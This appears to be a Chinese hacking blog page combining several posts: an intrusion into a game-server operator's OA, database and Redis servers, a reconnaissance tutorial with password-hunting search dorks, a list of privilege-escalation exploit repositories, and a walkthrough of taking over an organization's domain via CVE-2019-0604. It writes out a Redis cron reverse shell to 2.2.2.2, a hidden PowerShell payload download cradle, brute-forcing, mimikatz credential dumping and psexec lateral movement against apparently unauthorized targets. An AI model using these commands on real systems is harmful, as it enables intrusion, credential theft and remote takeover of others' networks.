分类 ANONYMOUS 下的文章

碰到了一个加好友推广某手游私服的广告哥,正好周末没事做,于是找他要了app看能不能渗透进去。

1.png

apk有点大,就不解包反编译了,直接用测试手机挂bp抓包,依旧要了一大堆权限,登陆界面很简陋而且有BUG,比如实名认证的地方可以drop掉,这样无需手机号或者身份证就可以注册账户登录。
游戏呢,是这样的(宣传视频)

2.png

但app用了全流量加密,所有的包都是乱码,就不截图了。
随手在百度site一下,发现个OA

3.png

没有验证码,且会提示用户名是否正确,看起来是可以爆破的

4.png

admin的密码直接被爆破出来,不过账户被禁用了

5.png

那就只能爆破其他用户名,再分别爆破他们的密码。成功登陆

6.png

不过后台没有任何利用点,没有SQL注入,没有上传点。
结果还是只能扫目录这种粗暴的活儿,扫了没几秒。

7.png

目录遍历+.git泄露,不过有php的目录无法遍历

8.png

用Githack脱源码
https://github.com/lijiejie/GitHack

9.png

收获不少,配置文件中有内网redis和mysql

10.png

一些隐藏的接口

11.png

以及最重要的,二次开发的cms版本

12.png

thinkcmf是有两个比较新的漏洞的

13.png

先试试第一个,往如下接口上传文件
/index.php?g=Asset&m=Ueditor&a=upload&action=uploadimage

14.png

15.png

有权限验证,还好之前爆破出了一个账户。但是漏洞似乎修复了,只能上传图片后缀文件。
没关系,还有第二个漏洞,文件包含
index.php?a=display&templateFile=/etc/passwd

16.png

包含index.php会泄露绝对路径

17.png

第二个漏洞本可以直接getshell的,但我这儿没有成功,配合第一个漏洞也可以getshell

18.png

很新的发行版和内核,提权无望

19.png

不过还记得配置文件中的redis和mysql吗?
虽然都是内网中的服务器,不过还是值得一试。

20.png

mysql居然没有读写保护,那么可以通过udf执行命令

select * from func;显示有sys_eval就可以执行命令

21.png

22.png

不过mysql服务器不通外网,权限也很低,再试试redis服务器
由于oa服务器上没有redis客户端,所以我用curl的dict协议来操作局域网redis

23.png

flushall
config set dir /var/spool/cron/
config set dbfilename root
set 0 "\n\n*/1 * * * * bash -i >& /dev/tcp/2.2.2.2/8088 0>&1\n\n"
save

等了一分钟,弹回root权限shell

24.png

history之后发现redis服务器上部署了gocron

25.png

和oa服务器用的一个数据库,密码带salt,解不出来,只能新增一个账户登录进去

26.png

这个系统可以新建crontab,里面刚好有游戏服务器的节点,写入反弹shell的命令,至此渗透完毕。

27.png

域名信息收集

域名介绍(Domain Name):是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时标识计算机的电子方位。
例如:www.baidu.com
whois是用来查询域名的IP以及所有者等信息的传输协议。就是一个用来查询域名是否被注册,以及注册域名的详细信息的数据库(如域名所有人,域名注册商)
whois协议。基本内容是,先向服务器的TCP端口43 建立一个连接发送查询关键字并加上回车换行,然后接收服务器的查询结果。
whois查询:
whois查询的重要性:通过whois查询可以获得域名注册者邮箱地址等信息。一般情况下对于中小型网站域名注册者就是网站管理员。利用搜索引擎对whois查询到的信息进行搜索,获取更多域名注册者的个人信息。
whois查询方法:
1.Web接口查询:
https://whois.aliyun.com/
https://www.whois365.com/cn/
http://whois.chinaz.com/
https://whois.aizhan.com/

1.png

2.通过whois命令行查询
在kali linux下自带了whois查询工具,通过命令 whois 域名 进行查询

2.png

与在线网站查到的信息是一样的。
ICP备案查询方法:
Web接口查询:
http://www.beianbeian.com/
http://www.miitbeian.gov.cn/publish/query/indexFirst.action
https://www.tianyancha.com/

子域名信息收集

子域名,凡顶级域名前加前缀的都是该顶级域名的子域名,子域名根据技术的多少分为二级子域名,三级子域名,多级子域名。
子域名是某个主域的二级域名或多级域名,在防御措施严密情况下无法直接拿下主域,那么就可以采用迂回战术拿下子域名,然后无限靠街主域。
1.子域名挖掘工具:Maltego CE、wydomain、subDomainsBrute、dnsmaper。layer子域名挖掘机。
2.搜索引擎挖掘, 如:在谷歌中输入site:sina.com
3.第三方网站查询:
http://tool.chinaz.com/subdomain
https://dnsdumpster.com
4.证书透明度公开日志枚举:
https://crt.sh/
http://censys.io/
5.其他途径
https://phpinfo.me/domain
http://dns.aizhan.com
CMS指纹识别

称为内容管理系统,用于网站内容文章管理
常见CMS:dedecms(织梦)、Discuz、phpcms等。
CMS在线识别工具
http://whatweb.bugscaner.com/look/
http://www.yunsee.cn/finger.html
本地工具 whatweb
御剑web指纹识别
大禹CMS识别程序 https://github.com/Ms0x0/Dayu
针对CMS漏洞查询
对于查询到的CMS可以利用 https://bugs.shuimugan.com 网站进行查询
探测工具
1.御剑(2020出了最新版本的御剑,有兴趣的可以找找)

3.png

工具界面

4.png

感觉应该不错的。
2.wwwscan命令行工具
3.dirb命令行工具
4.dirbuster扫描工具
5.wpscan(kali自带)

端口信息

windows命令行中使用netstat -anbo查看开放端口
端口收集
1.使用nmap探测。nmap -A -v -T4 目标ip
2.使用masscan探测(kali自带)
3.使用在线网站探测 http://tool.chinaz.com/port/
端口攻击
攻击者通过收集信息知道用户的哪个端口开启,就会知道怎么进行攻击,攻击方式多种多样常见的针对远程连接的服务端口有22、23、3389、5900、5632等端口,当然其他扫描到的端口可以在搜索引擎中查找对应的攻击方法进行测试。因为我也是小白,就先了解一下(多了解点知识总没坏处)
防御措施
1.关闭不必要的端口
2.对重要业务的服务端口设置防火墙
3.经常性更改用户密码
经常更新软件,打补丁(patch)

敏感信息收集

1.Google hack是指使用谷歌等搜索引擎对某些特定的网络主机漏洞进行搜索

5.png

Google hacking数据库: https://www.exploit-db.com/google-hacking-database/
例如:查询Access数据: filetype:mdb "standard jet" (password | username | user | pass)
2.Github信息泄露
github之邮件配置信息泄露:site:github.com smtp 、site:github.com smtp @qq.com
github之数据库信息泄露; site:github.com sa password 、 site:github.com root password、site:github.com User ID='sa' ;Password
github之svn信息泄露:site:github.com svn 、 site:github.com svn username
github综合信息泄露: site:github.com password 、 site:github.com ftp ftppassword 、 site:github.com 密码 、site:github.com 内部

真实IP地址收集

CDN就是内容分发网络,是构建在网络之上的内容分发网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。
判断CDN存在
通过ping 方法
这是一个存在CDN的网站,我尝试ping方法看到它是存在CDN的。

6.png

但是这个IP,是访问不了的。这里我没有将这个IP打码,就是因为这个。

7.png

通过设置代理或者利用在线ping网站来使用不同地区的Ping服务器来测试目标
http://ping.chinaz.com
绕过CDN
如果目标没有使用CDN,可以通过ping获取IP地址。或者利用在线网站 http://www.ip138.com
使用了CDN,那就绕过CDN来获取真实的IP地址
1.内部邮箱源,收集到内部邮箱服务器IP地址
2.网站phpinfo文件 phpinfo.php
3.分站IP地址,查询子域名 CDN很贵,很有可能分站就不再使用CDN。
4.国外访问 https://asm.ca.com/en/ping.php
因为有些网站设置CDN可能没有把国外的访问包含进去,所以可以这么绕过.
还是刚才那个有CDN的网站,这里就看出有许多的IP,不一样。

8.png

5.查询域名解析记录 https://viewdns.info/
验证IP地址
因为通过各种方法得到的IP地址有好多,就说明有的是伪IP,无法访问,这就需要逐个验证,方法简单但是信息量比较大,目前我还没了解到什么方法快速筛选,因为只是了解这些知识基础。
利用IP地址对Web站点进行访问,如果正常表明是真实的IP地址,否则不为真。

项目地址:https://github.com/lyshark/Windows-exploits

1.png

2.png

3.png

4.png

5.png

Windows平台提权漏洞集合

项目地址:https://github.com/SecWiki/windows-kernel-exploits

6.png

各大平台提权工具

项目地址:https://github.com/klsfct/getshell

7.png

Windwos辅助提权脚本

项目地址:https://github.com/ianxtianxt/win-exp-

8.png

SweetPotato修改版,用于webshell下执行命令

项目地址:https://github.com/uknowsec/SweetPotato

9.png

Webshell下提权执行命令

项目地址:https://github.com/uknowsec/getSystem

10.png

Linux平台提权漏洞集合

https://github.com/s0wr0b1ndef/Linux-Kernel-Exploites

一、前期交互

0x00 目标 https://xxx.xxx

0x01 网站采用Microsoft SharePoint,使用CVE-2019-0604 EXP直接上线,CobaltStrike创建一个Listener

1.png

0x02 生成一个powershell上线脚本powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://35.X.X.25:80/a'))"

2.png

0x03 将生成的脚本填入CVE-2019-0604 exp中payload位置,POC见 https://www.exploit-db.com/exploits/48053

3.png

0x04 获得上线主机

4.png

二、手工域内信息收集

0x01 拿到shell,查看当前用户shell whoami

5.png

0x02 查看域内信息shell net view /domain,发现所在域M*

6.png

0x03 查看本地管理员组shell net localgroup administrators,发现当前登录用户即为本地管理员

7.png

0x04 查看域管理员shell net group "domain admins" /domain

8.png

0x05 查找域控位置shell nltest /dsgetdc:<domain>,发现域控位域10.X.X.120上,本机ip为10.X.X.100

9.png

0x06 也可以使用DNS解析来找域控,先输入shell ipconfig /all | findstr DNS,一般来说域控都是域内的DNS服务器,进而域的名字也就用了DNS的域名

10.png

0x07 使用时间服务器来找域控,一般来说时间服务器就是域内的主域shell net time /domain

11.png

0x08 再次使用DNS查询印证一下,shell nslookup -qt=a XXXX.XXXX.com,可以看到该主机的A记录地址与我们上面几步获取到的是一致的,即10.X.X.120

12.png

其实还可以通过端口扫描来发现域控位置,因为域控上会开启活动目录,往往采用的是LDAP协议,所以可以通过扫描整个C段内的389端口开放情况来确认域控位置portscan 10.X.X.0/24 389 none none参数等同于nmap -Pn即不进行主机存活扫描(找工作时经常被面试官问咋样找域控:)

13.png

0x09 net view,初步看一哈子内网当前网段有哪些机器,一般来说,好的运维都会根据服务器用途来对其进行命名,便于他们管理,也方便渗透测试人员信息搜集少走弯路(害,这两者关系从未如此之铁)

14.png

0xA 再看一哈本机arp缓存表,shell arp -a,其实可以展示的内容还是比较多的,截取部分

15.png

0xB 查看本机共享shell wmic share get name,path,status,然后发现本机对外提供共享,莫得域内可访问共享,抬走

16.png

0xC 查看域内信任shell nltest /domain_trusts,可以看到本机是处在有两颗域树组成的域森林里(突然想起了在一次线下沙龙听一位表哥分享关于域信任下的攻击,不禁眼眶湿润:)

17.png

0xD mimikatz抓取密码

18.png

三、自动化域内信息收集

0x00 利用BloodHound进行域内自动化信息收集,BloodHound是一个免费的单页的JavaScript的Web应用程序,以neo4j为数据库,可以通过图与线的形式,将域内用户、计算机、组、会话、ACL、以及域内所有的相关用户、组、计算机、登录信息、访问控制策略之间的关系直观的展示在红队成员、蓝队成员面前,既可以为蓝队梳理域内安全防御提供清晰条理,也可为红队成员更好寻找突破点提供思路。官方地址:https://github.com/BloodHoundAD/BloodHound

0x01 直接在kali中apt-get update && apt-get install ne04j -y进行安装即可,安装完neo4j后,命令行输入neo4j console静待片刻,即可在浏览器输入http://localhost:7474然后以neo4j:neo4j进行后台访问,初次访问需更改默认密码,然后关闭浏览器,在命令行新窗口输入 apt-get install bloodhound -y等待安装完毕后直接命令行输入bloodhound启动bloodhound

19.png

20.png

0x02 接下来需要将数据采集程序ShareHound.exe放到目标机器上执行即可,首先到官网获取到最新的ShareHound.exe,地址:https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors

21.png

0x03 然后直接将ShareHound.exe通过CS上传到目标任意位置并执行就好了shell ShareHound.exe -c all,然后会有一个以当前时间戳开头命名的压缩包生成,形如20200408174945_BloodHound.zip,虽然说CS会回显.zip生成目录就在当前执行ShareHound.exe路径下,但是我没找到,可以执行shell dir/s/b c:20200408174945_BloodHound.zip来获取它的绝对路径,然后download c:xxxxxx20200408174945_BloodHound.zip将它下载到本地。

22.png

0x04 然后将刚才采集完信息的20200408174945_BloodHound.zip上传到BloodHound内自动化分析。可以看到可以看到域内一共有720个用户、95个主机、109个组、47个会话、9160条ACL,12319个关系

23.png

24.png

0x05 可以看到我们当前机器的登录用户i*是域管理员用户,上一步手工信息收集也应证了这一点,挺好的,本来我们需要找到当前主机上的域管理员session然后去用dump出来的hash去以这些session作为跳板,这样一来,就省了不少事,接下来我们就用它进行横向。

25.png

四、横向移动

0x01 直接选中我们刚才查到的域控10.X.X.120,右键Jump -> psexec64然后选择我们在本机10.X.X.100上dump出来的i*信息,然后选中我们最开始建立的Listener(cmedu),session选我们当前获取这个就行,然后直接Launch,也可以直接勾选最下方的Use session's access token因为我们当前session就是域管理员session,然后再选择Listener,再选session

26.png

27.png

28.png

0x02 已经拿到域控权限,先导出密码,hashdump、logonpasswords

29.png

0x03 批量打一下

30.png

0x04 可以看到已经拿下邮服(10.X.X.232)、域控(10.X.X.120)、VPN服务器(10.X.X.140)

31.png

0x05 ???就这???内网渗透有手就会???,我们拿到的是域管理员账户,然后直接使用psexec进行批量横向,期间遇到一些问题,发现并不是所有的主机都可以使用域管理员进行psexec进行权限获取,但却可以用域管理员用户进行IPC连接,???小问号,你是否有很多小朋友???默认情况下的话,在机器加入域的时候,系统将会自动把"Domain Admins"域组添加到本地的Administrators组中,也就是说只要是Domain Admins组的成员均可访问本地计算机,而且具备"完全控制"的权限。但是如果出于某些考虑,本地管理员或者域管理员会把个别域管理用户从本机管理员组中删除,那么该域管理员就没有权限访问该主机了,嗯,别问,问就是这样的:)

32.png

33.png

0x06 后期我们通过别的方法拿到该主机权限后,发现确实把我们一开始使用的那个域管理员账户删掉了,遇到这种情况的话,我们可以使用与管理员组中的其它账号依次进行psexec,总有一个会成功的,因为域内用户一定会有某项服务依赖于域管理员之一,在这里我采用的是另外一种做法,推荐给大家。

34.png

0x07 我们在上一步使用了强大的自动化工具BloodHound,官方介绍的是BloodHound可以在活动目录下自动的清理大部分人员之间的关系和细节,获取哪些用户具有管理员权限、哪些用户对所有的计算机具有登录权限、哪些用户是有效的用户组成员等等,直接上图,我们直接在BLoodHound左侧导航栏上查询该主机名,得到该节点信息,然后右键选择Shortest Paths to Here即找一哈子最近到此节点的途径,如图所示

35.png

36.png

37.png

38.png

39.png

成功!

0x08 最后以此方法,拿下了包括VPN服务器、MSSQL服务器、EXCHANGE服务器、WEBAPP服务器等。总结起来就是善用BloodHound能够帮我们在信息收集方面省一大半时间,直接根据用户与机器之间的关系精确打击,高效命中。附一张BloodHound邮服关系图感受一下

40.png

41.png

0x09 接下来就啥都可以干了,本着富强民主文明和谐的观念,就不再展示后续截图了,用CS的Socks4隧道代理进内网,然后本地配置Proxifier将本机MSTSC代理到该内网就可以直接访问内网机器的远程桌面了,但是会提示是否踢出一个当前登录用户,这样动静有点大,使用时要注意。

42.png

43.png